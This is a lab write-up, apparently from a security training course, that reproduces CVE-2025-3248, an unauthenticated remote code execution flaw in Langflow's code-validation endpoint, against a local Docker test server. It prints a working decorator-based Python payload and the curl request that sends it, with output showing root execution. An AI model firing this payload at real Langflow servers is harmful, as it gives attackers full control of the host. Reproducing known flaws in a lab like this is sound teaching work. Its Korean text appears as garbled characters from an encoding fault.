Share
## https://sploitus.com/exploit?id=B8CAEC40-6B5D-5BCD-883B-17CA4DCD1AF5
# CVE-2025-3248 : Langflow 사전 인증 RCE 취약점

> ν™”μ΄νŠΈν–‡ 슀쿨 3κΈ° (16반) - 김민채([@minxxcozy](https://github.com/minxxcozy))

<br/>

## κ°œμš”
Langflow 1.3.0 미만 λ²„μ „μ—μ„œ 발견된 CVE-2025-3248 취약점을 μž¬ν˜„ν•˜λŠ” κ³Όμ •μž…λ‹ˆλ‹€. 이 취약점은 Langflow의 `/api/v1/validate/code` μ—”λ“œν¬μΈνŠΈμ—μ„œ λ°œμƒν•©λ‹ˆλ‹€. 이 μ—”λ“œν¬μΈνŠΈλŠ” μ‚¬μš©μžκ°€ μ œμΆœν•œ Python μ½”λ“œλ₯Ό κ²€μ¦ν•˜κΈ° μœ„ν•΄ `ast` λͺ¨λ“ˆμ„ μ‚¬μš©ν•΄ νŒŒμ‹±ν•˜κ³ , 이후 ν•¨μˆ˜ μ •μ˜λ₯Ό `exec`둜 μ‹€ν–‰ν•©λ‹ˆλ‹€. μ΄λ•Œ, Python λ°μ½”λ ˆμ΄ν„°μ™€ κΈ°λ³Έ 인자 ν‘œν˜„μ‹μ΄ ν•¨μˆ˜ μ •μ˜ μ‹œμ μ—μ„œ ν•¨κ»˜ μ‹€ν–‰λ©λ‹ˆλ‹€. 즉, μ•…μ„± μ½”λ“œκ°€ ν¬ν•¨λœ κΈ°λ³Έ μΈμžλ‚˜ λ°μ½”λ ˆμ΄ν„°λ₯Ό μ‚½μž…ν•˜λŠ” λ°©μ‹μœΌλ‘œ μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€.

### Langflow
LangflowλŠ” μžμ—°μ–΄ 처리(NLP) 및 λŒ€ν™”ν˜• AI λͺ¨λΈμ„ ν™œμš©ν•˜λŠ” LLM 기반의 ν”Œλž«νΌμœΌλ‘œ, μ‚¬μš©μžκ°€ λ‹€μ–‘ν•œ AI μ„œλΉ„μŠ€μ™€ ν†΅ν•©ν•˜μ—¬ μžμ—°μ–΄λ‘œ μ»€μŠ€ν„°λ§ˆμ΄μ§•λœ μž‘μ—…μ„ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. Langflow 1.3.0 미만 λ²„μ „μ—μ„œ 발견된 CVE-2025-324 취약점은 LLM 기반의 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ λ°œμƒν•œ κ²ƒμœΌλ‘œ, LLM μ‹œμŠ€ν…œμ΄ 잘λͺ»λœ μž…λ ₯값을 μ‹€ν–‰ν•˜λŠ” 방식에 μ˜ν•œ λ³΄μ•ˆ λ¬Έμ œμ— ν•΄λ‹Ήν•©λ‹ˆλ‹€.

### 참고 자료
* [Langflow GitHub Repository](https://github.com/langflow/langflow)
* [Langflow validate/code API Pre-Auth Remote Code Execution (CVE-2025-3248)](https://github.com/vulhub/vulhub/blob/master/langflow/CVE-2025-3248/README.md)
* [Langflow 1.3.0 Release](https://github.com/langflow-ai/langflow/releases/tag/1.3.0)

<br/>

## ν™˜κ²½ μ„€μ •
λ‹€μŒ μˆœμ„œλŒ€λ‘œ PoC ν™˜κ²½μ„ μ„€μ •ν•©λ‹ˆλ‹€.
1. λ ˆν¬μ§€ν† λ¦¬ 클둠
```
git clone https://github.com/<your-username>/vulhub.git
cd vulhub/langflow/CVE-2025-3248
```

2. μ·¨μ•½ν•œ Langflow μ„œλ²„ (v1.2.0) μ‹€ν–‰
```
docker compose up -d
```

3. μ„œλ²„ 기동 확인
```
curl http://localhost:7860
```

<br/>

## Payload μž‘μ„±
ν•˜λ‹¨μ˜ νŽ˜μ΄λ‘œλ“œλŠ” `/api/v1/validate/code` μ—”λ“œν¬μΈνŠΈμ—μ„œ κ³΅κ²©μžκ°€ `@exec` λ°μ½”λ ˆμ΄ν„°λ₯Ό μ‚¬μš©ν•˜μ—¬ μž„μ˜μ˜ μ‹œμŠ€ν…œ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•˜λ„λ‘ κ΅¬μ„±λœ μ˜ˆμ‹œμž…λ‹ˆλ‹€. 이 경우, id λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν•˜μ—¬ μ‹œμŠ€ν…œ 정보λ₯Ό λ°˜ν™˜ν•˜λ„λ‘ ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
```json
{
  "code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n  pass"
}
```

<br/>

## 취약점 μž¬ν˜„

### PoC μš”μ²­ 전솑
μ•„λž˜ λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•˜μ—¬ μ·¨μ•½ν•œ API μ—”λ“œν¬μΈνŠΈμ— POST μš”μ²­μ„ 보내고, μ•…μ„± νŽ˜μ΄λ‘œλ“œλ₯Ό μ „μ†‘ν•©λ‹ˆλ‹€.
```
curl -i -X POST http://localhost:7860/api/v1/validate/code \
  -H "Content-Type: application/json" \
  -d @payload.json
```

### 응닡 확인
μ„œλ²„μ—μ„œ μ •μƒμ μœΌλ‘œ `id` λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰ν–ˆλ‹€λ©΄, λ‹€μŒκ³Ό 같은 응닡을 λ°›κ²Œ λ©λ‹ˆλ‹€.

![image](https://github.com/user-attachments/assets/eeaf69c5-9afb-4f89-a5e8-633e7575b802)


ν•΄λ‹Ή 응닡은 `id` λͺ…λ Ήμ–΄κ°€ 루트 κΆŒν•œμœΌλ‘œ μ‹€ν–‰λ˜μ—ˆμŒμ„ λ‚˜νƒ€λ‚΄λ©°, 취약점이 μ‹€μ œλ‘œ μ‘΄μž¬ν•œλ‹€λŠ” 것을 증λͺ…ν•©λ‹ˆλ‹€.

<br/>

## κ²°κ³Ό
PoC μš”μ²­μ„ 톡해 Langflow μ„œλ²„κ°€ κ³΅κ²©μžκ°€ μ œκ³΅ν•œ μ•…μ„± Python μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜λŠ” 것을 ν™•μΈν–ˆμŠ΅λ‹ˆλ‹€. 응닡 결과둜 `id` λͺ…λ Ήμ–΄κ°€ 루트 κΆŒν•œ(`uid=0(root)`)으둜 μ‹€ν–‰λœ 좜λ ₯이 λ°˜ν™˜λ˜μ—ˆμŠ΅λ‹ˆλ‹€. 이λ₯Ό 톡해 CVE-2025-3248 취약점이 μ‹€μ œλ‘œ μ‘΄μž¬ν•˜λ©°, 인증 없이 원격 μ½”λ“œ μ‹€ν–‰(RCE)이 κ°€λŠ₯함을 μž…μ¦ν•  수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€.